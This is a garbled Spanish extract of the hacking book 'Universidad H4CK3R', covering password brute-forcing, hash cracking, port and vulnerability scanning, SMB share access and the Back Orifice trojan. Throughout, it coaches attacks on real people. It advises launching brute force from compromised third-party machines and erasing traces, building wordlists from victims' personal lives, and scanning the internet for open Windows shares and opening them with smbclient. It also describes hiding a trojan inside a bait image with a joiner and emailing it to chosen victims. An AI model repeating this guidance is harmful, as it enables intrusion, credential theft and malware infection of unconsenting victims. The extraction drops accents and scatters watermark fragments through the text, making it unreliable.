ataques de diccionarios. Utilizan las listas de palabras comunes, nombres, marcas, jerga,
nombres de canciones, pelculas ... Los programas software modernos de fuerza bruta
emplean ambos procesos, tratan primero con la lista de palabras y luego aplican las
combinaciones secuenciales de fuerza bruta "primitivas".
Obviamente, la fuerza bruta es un procedimiento peligroso. Un administrador de sistema
seguramente notara que los logs de errores de entrada crecen de manera espectacular,
y que todos los intentos proceden de una sola IP. Una medida es poner una espera de
varios minutos entre uno y otro intento, pero esto hace el proceso an ms lento, que
normalmente puede tardar varios das o incluso semanas. El procedimiento ms sensato
es a invadir diferentes sistemas, sin importancia y disparar la fuerza bruta desde ellos (por
supuesto, siempre recordando borrar sus pistas).
Los hackers ms experimentados saben que las listas de palabras deben ser
personalizadas para cada objetivo, y que para ser considerada buena, una lista debe
contener datos aportados por la ingeniera social, como el nombre completo del usuario,
su novia, esposa o hijos, su aficiones, el modelo de su coche o su nueva direccin.
Informacin como sta es muy valiosa, efectiva en ms del 50% de los ataques especialmente cuando se tiene un nmero razonable de cuentas vlidas, slo tiene que
encontrar una contrasea. Si el candidato a invasor no sabe al menos el login de una
cuenta vlida, es casi seguro que sus esfuerzos sern infructferos.
Su lista de palabras debe contener nombres propios (comunes) del pas donde se
encuentra el equipo. Libros como Qu nombre le dar a mi hijo? Son de mucha ayuda, y
conseguir las ediciones de estos libros en varios idiomas es un refinamiento importante de
la tcnica. La gua telefnica o la gua de negocios por nombres, y anotaciones de otras
personas son, tambin, una buena idea
Teniendo en cuenta siempre que conocer el login correcto de la vctima es ms de la
mitad del trabajo, aqu van unas sugerencias de cmo conseguir estos logins:
1. Pruebe siempre con todos los nombres y apellidos de la vctima, uno por uno. Si el
login es el primer nombre, o una combinacin de nombres, lo ms probable es que la
contrasea es uno de los otros nombres, seguidos o no de nmeros secuenciales o letras.
_A, _B, _C XYZ, tambin son comunes los sufijos(en maysculas o minsculas).
2. Si las tiene, pruebe las palabras obtenidas por ingeniera social: la novia/esposa, hijos,
coche, aficin, posiciones sexuales, los nombres de los jefes ... Luego pruebe los
nombres propios ms comunes copiados de la gua telefnica o la gua comercial.
3. Tambin es una buena idea intentar algo en el sistema que est siendo invadido. Si la
mquina es la nica en la empresa que tiene instalado AutoCAD, tratar las contraseas
acad, Autodesk, AutoCAD o cadcad. Si se trata de un terminal de mainframe de IBM, trata
ibmibm, x3270, BigBlue, X25. En un VAX, tratar vax, vms, digital o Compaq.
115
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
4. Los usuarios tambin son sensibles al lugar en que trabajan. Pruebe con alguna cosa
relativa a la ciudad, barrio o calle donde este la empresa, el nombre de la empresa o sus
productos ms famosos. En una mquina de Telemar, por ejemplo, podra probar con las
contraseas DDDeh31, velox o interurbano. A veces el empleado no est satisfecho con
la empresa. Su contrasea es por lo general en estos casos, o una palabra de blasfemia o
producto de algn competidor (por ejemplo, un empleado de Conectiva usa de contrasea
Windows XP).
5. Por ltimo, uno debe tratar por separado sus listas de palabras y contraseas comunes.
Nunca utilice listas con ms de cien palabras, porque quedara expuesto a los dems y
seria fcilmente detectable, y modularice y especialice el ataque.
Un procedimiento importante en la preparacin de sus listas de palabras es tratar de
pensar de la misma manera que el usuario. Si se escapa de las combinaciones comunes
(nombre de la esposa, hijos, etc.), Su contrasea ser lo primero que viene a la mente, o
el nombre de algn objeto que est en su escritorio.
Hay varios programas de fuerza bruta, casi todos con la posibilidad de usar diccionarios y
combinaciones secuenciales. No vamos a recomendar ninguno aqu, prueba y saca tus
propias conclusiones.
- Sin romper el huevo no se hace una tortilla
Imaginen la situacin inversa a la de la seccin anterior. Ya te has introducido en una
mquina Unix o Windows NT/2K/XP y capturaste el archivo de contraseas del sistema.
Obviamente estas contraseas estn cifradas, as que el archivo no te ser til si no
tienes otra clase de programas que todo cracker debe tener: rompecontraseas.
En la mayora de los casos, se invade el sistema por algn descuido del administrador,
pero con un usuario cuyos poderes son muy limitados. Robando el archivo de
contraseas, puede entrar en las reas privadas de otros usuarios (dentro de la misma
mquina o red) y capturar informacin til para un ataque ms profundo, o incluso los
datos vitales, como las contraseas de otros servicios, el acceso a las reas restringidas
de la empresa o los nmeros de tarjetas de crdito. Tambin puede obtener la contrasea
de administrador y "apropiarse" de la mquina.
Los archivos de contraseas cifrados generalmente tienen hashes al lado de los logins.
Los valores hash son una secuencia de smbolos que, confrontados con la clave
criptogrfica correcta, muestran la contrasea del usuario. En Windows NT (y versiones
posteriores, Windows 2000 y XP), las contraseas son almacenadas en el registro. Un
ejemplo de un hash de Windows podra ser:
maedinah: 1001: 3592C2B9967FD3A4976EED543AC98756C3C3CFA2: 8903
AD475E3478C45D 15B1749777DCFD3CC4457:::
El primer campo es, obviamente, el login de usuario. El segundo es la ID nica del usuario
en el sistema. La familia WinNT posee esta identificacin de la misma manera que Unix,
aunque esto se oculta a los usuarios. Despus tenemos dos nmeros grandes, que
representan las contraseas encriptadas del sistema. La primera es la representacin de
116
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
la contrasea antigua para redes Microsoft, compatible con LAN Manager. Por eso, se
llama el hash LM. En realidad, no es la contrasea cifrada. Al contrario, el sistema genera
dos nmeros hexadecimales y estos nmeros estn codificados por el estndar DES
(Data Encryption Standard), utilizando la contrasea como la clave, establecida en 14
caracteres (si el usuario usa una contrasea ms corta, se utilizan los rellenos ). Cada
mitad de la contrasea (siete caracteres) se utiliza para cifrar uno de los nmeros
hexadecimales. Esta representacin de la contrasea es muy dbil y es fcilmente
descifrables por los hackers. El mtodo normalmente utilizado es dividir el hash en dos
partes, y el pirata usa crackers de contraseas independientes en cada parte, lo que
acelera la ruptura de la contrasea.
Lo siguiente se llama la representacin NT de la contrasea. A diferencia de antes, esta
representacin es mucho ms difcil de descifrar. La contrasea tambin se establece en
14 caracteres y despus, se cifra tres veces usando el algoritmo de hash MD-4. Aunque
ha mejorado mucho, todava es ineficiente en comparacin con los sistemas Unix. Falta
"sal". El concepto de "salado" (o "sal") es interesante. Cualquier algoritmo de cifrado esta
basado en el intercambio de valores. Condimentar con sal el hash significa elegir
muchos valores aleatorios para intercambiar, aadiendo un nuevo nivel de desafo para la
reversin del criptograma. La falta de "condimento" permite a un atacante utilizar slo una
estimacin del hash de la clave, reduciendo significativamente el tiempo necesario para
descubrirla.
Incluso sin este problema, Windows NT/2K/XP tiene otra desventaja evidente: los hashes
pueden ser ledos por cualquier usuario. No hay manera de evitar que los hackers tengan
acceso a ellos. Por otra parte, en la mayora de los casos, la misma contrasea reforzada
por el hash NT no est bien disuelta en el pseudo hash LM. Descubriendo el segundo, es
probable que el cracker tenga acceso al sistema y a la red.
En Unix, la informacin de acceso se almacena en /etc/passwd. El contenido del archivo
passwd es mucho ms compleja (y completa) que el microsoftiano equivalente.
nonodeogum: $1$YgQ8Da9TWFS59jmV80kWAia2cjr8u1:500:500:Padre
Nono de Ogum:/home/nonodeogum:/bin/bash
De izquierda a derecha, separados por dos puntos, tenemos: nombre de usuario, hash de
la contrasea, ID de usuario, ID de grupo al que pertenece (tanto en WinNT como en Unix
los usuarios se dividen en grupos), nombre completo del usuario (este es el antiguo
campo G-COS), la ubicacin del directorio personal (home) y el login de shell del usuario.
Observe el hash. Es mucho ms complejo que el de WinNT. No hay manera de que un
hacker descifre la contrasea, ya que ella es "solo de ida". La clave de cifrado se aplica
cuando el usuario registra la contrasea, quedando el resultado del hashing del archivo
guardado en un archivo passwd. La clave al ser "en una direccin", slo puede ser
descubierta por la fuerza bruta. Cuando el usuario se logea en el sistema, el archivo de la
contrasea passwd no es descifrado. Por el contrario, la contrasea proporcionada
durante el inicio de sesin se cifra otra vez y se compara con lo que se escribi en el
archivo. Si ambas "coinciden", el usuario tiene acceso al sistema. Una de las
caractersticas interesantes es que ningn algoritmo de cifrado genera un hash que
117
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
contenga el carcter "*". Por lo tanto, poner un carcter de esos en lugar de la contrasea
impide el acceso para esa cuenta.
El enfoque de /etc/passwd tiene un problema. Todos los usuarios deben ser capaces de
leer el archivo, porque su informacin vital (ULD, GID, home y shell) se encuentra en el.
Esto significa que los valores hash de todos los usuarios estn desprotegidos y cualquier
lammer con una cuenta en el sistema puede ejecutar un crak de contraseas en ellos.
Aunque es difcil de romper, un archivo que puede ser ledo por todo el mundo tambin se
pueden copiar en un disquete y llevarlo a casa y romperlo con una mquina comn en
silencio, sin que nadie lo sepa.
Para resolver este problema, la mayora de sistemas Unix utilizan ahora el ocultamiento
de contraseas o shadow passwords. El shadow es un archivo solo legible con
permisos de root. En /etc/passwd en lugar de la contrasea, tenemos un "*, o una "x"
para indicar que la contrasea est en un archivo oculto. Esta tcnica hace que sea
imposible de lograr, como un usuario normal, las contraseas de otros usuarios. Y como
sabemos, en la mayora de los ataques se tiene que conseguir primero un acceso limitado
para luego tratar de acceder sin restricciones. Un solo dispositivo pone dos niveles de
dificultad ms en el camino del cracker.
El cracker de contraseas ms conocido para la familia WinNT es L0phtCrack, una
herramienta muy fcil de usar y capaz de romper los hashes dbiles de Windows en poco
tiempo. Actualmente esta disponible slo en versin comercial que cuesta $ 350, pero
usted puede conseguir el cdigo fuente de una versin anterior de la
www.atstake.com/research/lc/download.html. Para Unix, la estrella es el fabuloso John
the Ripper. El software es capaz de romper, con alguna ayuda de la ingeniera social, las
contraseas de los archivos passwd y shadow (si el atacante consigue tener acceso a
ellos) y, junto con herramientas de conectividad, puede capturar contraseas encriptadas
que viajan a travs de una red. Adems de Unix, hay versiones del programa para DOS,
Win32, BeOS, y OpenVMS y control de AFS de Kerberos y hashes pseudo-LM de
Windows NT/2K/XP. John the Ripper est disponible en www.openwall.com/john/.
El lector habr notado que no he mencionado a la familia Win9x en esta seccin sobre las
contraseas. La razn es simple: no hay seguridad en este entorno. Las contraseas se
almacenan en archivos con el nombre de usuario y la extensin PWL. Debera ser
relativamente fcil de romper las contraseas revueltas en estos archivos (no se puede
usar la palabra "cifrado" aqu), pero no hay necesidad de esforzarse: simplemente borra
los archivos y Windows alegremente te pedir nuevas contraseas. Sin embargo, como
los archivos PWL pueden almacenar (ya menudo lo hacen) la misma contrasea de red,
romperlos puede ser de gran ayuda!. Hay miles de rompedores PWL en
packetstormsecurity.nl.
- Escneres
Escneres son programas utilizados para examinar los equipos de una red en busca de
vulnerabilidades. Hay puertos abiertos a los ataques tanto en equipos personales como
en servidores de todos los tamaos. Los escneres buscan sistemas que estn
desprotegidos y listos para un anlisis exhaustivo de su seguridad. La mayora de los
118
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
escneres no fue diseado con la intencin de usarlos maliciosamente. Pero como una
hermosa y fragante rosa tambin tienen espinas, son utilizados por ambos lados: los
hackers los utilizan para atacar, mientras que los administradores buscan brechas para
hacer correcciones.
Existen escneres especficos, desarrollados por empresas que dan importancia a la
seguridad y que generalmente son caros. Como un hacker no respeta nada, es inevitable
que estos escneres, caigan en sus manos. Otros, los crean hackers ms
experimentados. En cuanto a las vulnerabilidades que estos escneres exploran son
secretos, pocos tienen acceso a ellos. Despus de que se han quedado obsoletos, se
ponen en la red para que los "script kiddies" pueden usarlos. Por lo tanto, es bueno
recordar que los escneres fciles de encontrar en Internet pueden no ser ya tan eficaces
o incluso son completamente intiles.
Los escneres se pueden dividir en dos tipos: el escner de puertos abiertos TCP/IP (o
PortScanner) y el escner de vulnerabilidades conocidas.
- Escneres de puertos
Cualquier equipo con conectividad TCP/IP tiene, en teora, ms de 128 000 puntos
vulnerables. Cada servicio de red que est disponible en una mquina en particular es
una potencial puerta de entrada - como vimos en el captulo sobre Unix. En Redes I nos
enteramos de que cada uno de estos servicios "escucha" a la red a travs de un puerto
representado por un nmero, a la espera para conectarse. Cmo son 65.536 puertas para
el protocolo TDP y 65.536 puertos para protocolo UDP, entonces tenemos una verdadera
legin de hidras. Por ejemplo, si la mquina es un servidor Web, es probable que el
puerto TCP 80 este abierto, para que otros equipos puedan acceder a las pginas HTML.
Otro ejemplo: una mquina Windows que esta compartiendo ("share") archivos ligados a
la "escucha" en los puertos 137, 139 y 455 en espera de otras mquinas Windows que
quieren leer los archivos compartidos. Estos nmeros se encuentran regulados en
RFC1700.(Request for Comments, son documentos con recomendaciones para la implementacin de
servicios y estndares para Internet y las redes en general. Todos ellos se pueden encontrar en
www.ietf.org/rfc.html.)
Los escneres de puertos verifican los puertosTCP/lP abiertos en un sistema. Su objetivo
es hacer una lista de los servicios de red TCP/lP disponibles, por lo que ellos responden
cuando se les pregunta. Con los resultados proporcionados por el portscanner y el
conocimiento de RFC1700, el atacante puede determinar qu servicios estn disponibles
y aplicar los exploits pertinentes. Tambin hay stealth port scanners, que utilizan
tcnicas de no conexin o conexin incompleta para no ser detectados - no siempre con
xito - como si tuvieran un dispositivo de camuflaje. Los administradores deben utilizar
herramientas especficas para detectarlos.
Casi todas las tcnicas de escaneo de puertos hacen uso de los signos (o flags) TCP,
UDP o ICMP intercambiados entre los programas que desean conectarse. Slo como
referencia rpida, los signos son los siguientes:
PSH (push) - Una especie de "vlvula de seguridad", acelera la transmisin para poder
terminarIa
119
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
vez instalado, slo hay que ejecutar el programa y ver el siguiente resultado:
Direccin: 192.168.1.12
El puerto 21 ... Escuchando
El puerto 22 ... Escuchando
El puerto 25 ... Escuchando
El puerto 110 ... Escuchando
Los puertos 21,22,25 y 110 pueden estar abiertos para una posible invasin, pueden estar
bajo la supervisin de un administrador o realmente pueden ser seguros. El puerto 110
proporciona el servicio POP3. Es el lugar donde te conectas para descargar tu correo
electrnico. Sin embargo, este puerto debe estar abierto (en los servidores de correo
electrnico, obviamente), de lo contrario nadie podra leer el correo electrnico. Abrir los
puertos no es sinnimo de inseguridad. El problema son los puertos abiertos, cuyos
programas que los "escuchan" tengan fallos de seguridad.
El portscanner ms conocido de la tierra es nmap (www.insecure.org/nmap/).
Originalmente desarrollado para Unix, tiene versiones para muchos sistemas operativos,
incluyendo Windows. Diseado para la lnea de comandos, tiene varias interfaces
grficas, como NmapWin para Windows (www.nmapwin.org) y nmapfe para Unix
(incluido en el paquete de nmap). Nmap, es extremadamente flexible y potente.
- Escaner de vulnerabilidades
Nosotros usamos el escaneo de puertos para comprobar los servicios activos en un
sistema dado. Una vez conocidos estos servicios, entra en juego otro tipo de escner: el
de la vulnerabilidad. Bsicamente, la idea del escner de vulnerabilidad es, a travs de
una lista de errores conocidos, comprobar si el sistema est funcionando bien o hay un
servicio defectuoso. Estos escneres facilitan enormemente la labor del atacante,
automatizan el proceso de conexin a cada uno de los servicios enumerados por el
escaneo de puertos y verifican las debilidades. Al ser automtico, el atacante ahorra das
de trabajo debido a que el mismo puede comprobar decenas o incluso cientos de
vulnerabilidades, sin la intervencin de un black hat.
Un escner de vulnerabilidades bueno debe revisar los siguientes puntos:
- Errores comunes de configuracin: los administradores de sistemas ineptos y usuarios
inexpertos dejan, por incompetencia, puertas abiertas y debilidades sin proteccin en sus
sistemas.
- Contraseas y configuracin por defecto: no hay nada que guste mas a un hacker que
un administrador de sistemas instale el software y lo deje con la configuracin de fbrica.
Se parte el culo al ver a usuarios y servidores con contraseas por defecto (como nombre
de usuario: root, contrasea de root: root o usuario: admin, contrasea: master) o con
mltiples servicios inseguros habilitados innecesariamente.
- Las combinaciones obvias de usuario y contrasea: otro problema son las contraseas
obvias. Los usuarios normales tienen tendencia a poner una contrasea fcil de recordar
(nombre de la esposa, por ejemplo). La situacin empeora cuando utilizan combinaciones
de nombres conocidos por el pblico. Ejemplos de pares nombre de usuario/contrasea
121
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
www.hackersplayground.org
www.ntsecurity.nu
www.antionline.com
www.digitalsin.net/cyn/sinfinite
www.cexx.org
www.hackinthebox.org
www.astalavista.box.sk
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Aqu presentamos slo algunos. Hay muchos exploits que pueden y deben ser probados,
y las novedades en trminos de fallos, son refrescadas a diario en sitios especializados.
Para un mejor estudio, es interesante preparar una mquina como "conejillo de indias" y
conectarla en red con la estacin de trabajo, donde generara los ataques. Instala mltiples
sistemas operativos (Win98/Me/2k/XP, Linux y FreeBSD - uno a la vez o todos en multiarranque, a tu gusto) y dale caa! Tenga en cuenta que las algunos fallos no necesitan
exploits ...
- Escaneo TCP SYN vs Windows 95
Un error evidente en Windows 95 (pero aparentemente no en 98 o Me) es la incapacidad
para manejar paquetes SYN. Como veremos en el captulo Redes II, en una red TCP/lP
hay tres hadshakes bsicos. Quin pide la conexin enva un paquete SYN, quien
acepta la conexin enva un paquete SYN/ACK y espera un ACK del sistema que pidi a
la conexin.
Un escaner de puertos del tipo TCP SYN nunca enviar el paquete ACK en respuesta de
SYN/ACK a Windows. Esto har que Windows 95 se congele por unos momentos
mientras espera el paquete. Si se hace un flood (envo de un gran nmero de paquetes
simultneos) SYN, la pila TCP/lP de Windows se cae y muestra la famosa "pantalla azul
de la muerte" (Blue Screen of Death o BSoD).
Trata de hacerlo con nmap/nmapWin en tu equipo de trabajo, apuntando a la IP de la
mquina "cobaya" y realiza el anlisis con la opcin de SYN Stealth.
- Comparticin en ordenadores Windows (SMB/CIFS)
la configuracin incorrecta del protocolo conocido como Common Internet File System
(CIFS - antes conocido como Server Message Blocks o SMB) que permite compartir
archivos a travs de redes, puede exponer a los archivos crticos del sistema o permitir el
acceso a todo el sistema.
Los usuarios corporativos a menudo comparten sus sistemas de archivos en la red.
Ingenuo, activar esta opcin tambin en casa, olvidando que estn conectados
directamente a Internet. Con ello, abre la puerta para que los hackers hagan lo que
quieran con sus archivos. Una conexin llamada "null session" (sin nombre de usuario ni
contrasea) puede poner en peligro informacin importante para el sistema y claves del
registro.
Los scanners de vulnerabilidades (Nessus como se mencion anteriormente) por lo
general buscan varios puertos, incluyendo puertos 135 (TCP y UDP), 137 (UDP), 138
(UDP), 139 (TCP) y 445 (TCP y UDP). Si por lo menos dos de estos puertos estn (o
parecen estar) activos, el equipo muestra que la conexin es vulnerable a por
comparticin.
El procedimiento es bastante simple. En primer lugar, use Nessus para examinar, en
Internet, las mquinas con estos puertos abiertos. Anote todas las que encuentre. En
Windows, arranque Internet Explorer y escriba la direccin IP de la mquina vulnerable,
en formato LAN Manager: \\IP.DE.LA.VCTIMA.AQUI. Si no hay ninguna contrasea, las
comparticiones se mostrarn - basta con hacer clic sobre ellas. En caso de que la haya,
125
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Si estamos en una mquina Linux, podemos utilizar los comandos del paquete sambaclients e intentar la conexin, de la siguiente manera:
$ smbclient -L IP DE LA VCTIMA AQU
Probablemente nos pedir contraseas para mostrar el resultado de las comparticiones.
Una vez ms, debemos recurrir a la fuerza bruta para descubrir contraseas.
Si la interfaz grfica KDE 3 est disponible, puede usar Konqueror. Escriba en la barra de
direcciones la IP de la vctima de la siguiente manera:
smb://IP DE LA VCTIMA AQU/.
Deben mostrarse las comparticiones.
126
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
127
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Laboratorio de vulnerabilidades I
El objetivo principal de los laboratorios es la prctica de determinados procedimientos
considerados esenciales para la rutina de los piratas informticos. Los administradores de
sistemas deben observarlos detenidamente, ya que deben estar atentos a las tcnicas
utilizadas en los ataques.
En este laboratorio en primer lugar, vamos a mantener nuestro enfoque en la invasin de
micros domsticos - s, s, algo de lammer. Pero tenemos que empezar de alguna
manera, no?. Y Cual es la mejor manera de lograr este objetivo? La respuesta es uno
de los trucos ms viejos conocidos por el hombre: El Caballo de Troya! Exactamente! Al
igual que en la historia, se utiliza un regalo como un artfice de la invasin. Vamos a
utilizar el mtodo tradicional de enviar troyanos a las vctimas. De hecho, necesitamos
tres archivos para realizar la tarea: el servidor, que controlar el equipo invadido, un
programa joiner (utilizado para unir los archivos) y el cliente, instalado en la mquina del
hacker para controlar el servidor.
Usamos el Back Orifice 2000, la ltima versin de uno de los troyanos ms utilizados.
Como ya se mencion anteriormente el programa se divide bsicamente en dos partes:
cliente y servidor. Para instalar el servidor, es necesario que la vctima ejecute el archivo
ejecutable en su computadora sin darse cuenta de lo que estn haciendo. Pero, cmo es
esto posible? Simple, utilizamos un pequeo truco de ingeniera social: vamos a hacer
uso de la curiosidad. En nuestro ejemplo, una imagen que lleva en su vientre el servidor
B02k .
Para ocultar a nuestro agente, vamos a emplear el joiner, un pequeo programa que
permite la unin de dos archivos cualquiera. Uno tiene que ser necesariamente un archivo
ejecutable, que se abrir antes que el segundo. Al terminar, el control se pasa al segundo
archivo, si tambin es un binario ser ejecutado y, si es un archivo comn, se abre en la
aplicacin correspondiente.
Entonces, a los troyanos! Se recomienda el Back Orifice 2000, uno de los ms populares
y prcticos de la red, pero usted puede elegir entre una gran coleccin. Hay troyanos para
prcticamente todas las plataformas!
Configuracin del servidor
El servidor de BO tiene que estar preparado antes de la
infeccin, pues depende de los plug-ins para cada una
de las "maldades" que sern llevadas a cabo. Otro
detalle: es necesario decirle al programa cmo
comunicarse con el hacker. Las opciones son correo
electrnico, IRC y hasta ICQ.
La configuracin es sencilla. Encienda el Configurador
B02K. En la pantalla que aparece, rellene los datos, el
puerto que el servidor debe "escuchar" y la forma en
que deben ponerse en contacto para informar que est
en lnea. Hay varias opciones, incluyendo ICQ, IRC, e
128
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
La mayora de los joiners funcionan del mismo modo. Algunos slo en modo texto, pero
en general las sentencias de la operacin se limitan a los siguientes comandos (en DOS):
C: \>joiner (servidor de nombre de archivo) (Nombre de archivo del
cebo)
C: \ >ren join.fil goggles.exe
Ahora slo tienes que elegir a las personas que recibirn el servidor y enviarles correos
electrnicos con temas inocentes.
- Puerta trasera
Despus de recibir la confirmacin de que el PC esta corriendo el servidor, es el momento
de utilizar las funciones del cliente. La ventaja del Back Orifice es su entorno grfico
129
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
capaz de ejecutar todas las rdenes sin dificultad. Entre las caractersticas de BO, se
destaca la creacin de directorios, mover archivos, e incluso la posibilidad de reiniciar el
sistema.
130
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Parte 2
2 Ao de la universidad:
El camino de un Viajero
131
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Redes II
Capitulo - 8
132
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
TCP/IP: El comienzo
En el captulo anterior de redes, tratamos los aspectos ms bsicos y desarrollamos un
breve estudio de algunos de los protocolos ms utilizados. Este estudio sirvi para poder
aprender algunas sencillas tcnicas y procedimientos de invasin y experimentar con
algunas herramientas. Con la informacin de los captulos Redes I y Vulnerabilidades I,
y aadiendo un poco de investigacin en los sitios y libros mencionados, cualquiera puede
considerarse un script kiddie y llevar a cabo los procedimientos ms simples de "invasin"
de equipos domsticos.
Ahora la conversacin cambia de tono. Veremos ms adelante (en Vulnerabilidades II y
ms tarde en los captulos finales), mtodos ms complejos de ataque a los sitios, las
empresas y las redes remotas, todos a travs de Internet. Cmo la Gran Red se basa en
la familia de protocolos TCP/lP (o es al revs? TCP/lP fue creada por culpa de Internet,
da igual ...), ser la estrella de esta parte del libro.
Pero seremos "malos" con el TCP/lP. La mayora de los libros muestran el protocolo de
forma acadmica y bien estructurada. En nuestros estudios, vamos a ver cmo podemos
deformar, fracturar y abusar de l, una autentica violacin digital!. La palabra es fuerte,
pero el querido lector vera que se aplica perfectamente al contexto en el que se utiliza.
Para los hackers, la tecnologa est ah para ser extendida. O engaada...
Este captulo nunca podr reemplazar a cualquiera de los excelentes libros y artculos
escritos especialmente para revelar todas las complejidades, los aspectos del TCP/lP y su
uso prctico. Esperamos por lo menos, servir como una introduccin a estos recursos.
Despus de leer este libro, recomendamos al lector sumergirse en el estudio de este
protocolo y las tecnologas de red basadas en l. Adems de los libros del Prof. Andrew
Tannembaum. y Gabriel Torres (ambos llamados redes de computadoras), que ya se han
mencionado varias veces en el libro, le recomendamos las siguientes publicaciones:
- Diseo y arquitectura de redes de J.F.Dimarzio;
- Intemet working con TCP/IP, Doug Comer;
- Aprender TCP/IP en 14 das, Tim Parker;
- Gestin de TCP/IP, Craig Hunt;
- TCP/IP Illustrated, Volumen 1, W. Richard Stevens.
En Internet, hay disponibles excelentes recursos por: investigadores, universidades,
sector empresarial y sitios especializados. Algunos buenos trabajos de redes TCP/lP que
recomendamos son:
- Apunte TCP/IP CCUEC (www.dicas-l.unicamp.br/Treinamentos/tcpip);
- Notas de la conferencia de TCP/IP, Ricardo Ueda, Instituto de Matemticas y Estadstica
de la USP (www.ime.usp.br/-ueda/ldoc/notastcp.html).
Y en Ingls, se recomienda:
- TCP/IP Tutorial y descripcin tcnica general, libros rojos de IBM
(publib-b.boulder.ibm.com/redbooks.nsf/portals/Networking);
- Netscape Open Directory (www.dmoz.org/Computers/Internet/Protocols).
133
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Tambin existe en Internet, varios grupos de discusin sobre la creacin de redes. Dos
grupos,que los autores no slo recomiendan, tambin participan son: Dicas-L, alojado en
la Unicamp (www.dicas-l.unicamp.br) y gestionada por competentsimo Rubens Queiroz
de Almeida, y Redes-L, organizada y Gestionado por la FAPESP
(listas.ansp.br/mailman/listinfo/redes-l).
Por ltimo, sabemos que en Brasil existen varias publicaciones dedicadas a los usuarios
de ordenadores y administradores de red. Una lista de ellas, por autores de prestigio, esta
en: Info Exame, Linux Magazine, H4ck3r, Geek, PC Brasil
OSI vs TCP/IP
Continuando donde lo dejamos en el captulo 2, analizaremos en profundidad el diseo y
operacin de cada protocolo de la familia TCP/IP, cmo los diferentes protocolos
interactuan entre s y cules son las tecnologas implicadas. El TCP/IP es un conjunto de
protocolos presentes en Internet. De hecho, ambas entidades son las mismas. As como
es imposible separar la energa de la materia (E = mc 2), no es necesario discutir si el
protocolo TCP/lP fue creado para ser utilizado en Internet, o si Internet apareci por el
protocolo TCP/IP. La historia del huevo y la gallina
El TCP/IP es independiente de la plataforma. Sus especificaciones son abiertas y libres
de royalties. Por eso mismo, acabo tomndose como el estndar del sector en todo el
mundo, y por eso se utiliza para dar acceso a computadoras de todos los tipos y tamaos,
desde dispositivos porttiles hasta mainframes.
La mayora de las publicaciones dicen que la familia TCP/IP cumple con los requisitos de
trabajo de las capas 3-4 del modelo de referencia OSI. La afirmacin es correcta pero
incompleta. Sabemos que cada una de las capas de referencia del modelo, puede ser
implementada con un protocolo diferente, por ser cada capa independiente. As que en
teora es posible que paquetes SPX (una implementacin propietaria de Novell) sean
transportados en paquetes IP, en vez de IPX. En la prctica, lo que vemos es que los
estndares abiertos terminan siendo de uso comn, con raras excepciones como el
SMB/CIFS de IBM/Microsoft. Por lo tanto, podemos montar un diagrama que contiene las
siete capas OSI y sus representantes en el "mundo real":
- Capas de protocolos de red
En la prctica
OSI
Ejemplo de aplicacin
Aplicacin
Presentacin
Sesin
TCP/UDP
Transporte
TCP/UDP
IP
Red
IP/ICMP
Ethernet
Conexin
Ethernet
Fsica
Fsica
Aplicacin
134
www.FreeLibros.me
i
k
i
mi
l
i
k
i
l
i
k
l
i
k
Uni
v
er
s
i
da
dH4CK3R
Nota: en la prctica, existen aplicaciones que hacen las funciones de las capas 7,6 y 5.
Cmo son aplicaciones externas, de instalacin libre y que ruedan en el rea del usuario,
se considera que todas ellas estn en la capa de aplicacin.
Protocolo IP
El caballo de batalla del TCP/lP es el protocolo IP. Es a travs de los paquetes IP (es
decir, los conjuntos de datos montados de acuerdo con el Protocolo de Internet) como las
aplicaciones transportan los mensajes entre diferentes redes. El protocolo tambin define
como ser el esquema de direccionamiento para que cada mquina tenga un identificador
nico en todas las redes. Dicha direccin se implementa mediante direcciones IP: un
grupo de 32 bits, dividido en ocho grupos de cuatro (es decir, cuatro bytes) y que
obedecen a lo definido en el protocolo IP. Atento, pues, al hecho de que el protocolo IP,
nmero de IP y paquetes IP no son la misma cosa!.
En este libro, se habla exclusivamente de los paquetes IP de la versin 4, conocido como
IPv4. Las demandas de Internet hoy en da (sobre todo el rendimiento, seguridad y sobre
todo la falta de disponibilidad de nmeros de IPv4) llev al desarrollo de un nuevo
protocolo llamado IPv6, que est siendo utilizado en Internet 2.
- El paquete IP
La informacin proveniente de las capas superiores (en nuestro caso, TCP y UDP) debe
ser incluido en un paquete de datos que se transmitir de conformidad con los
procedimientos definidos en el protocolo IP. Este paquete est montado en un formato
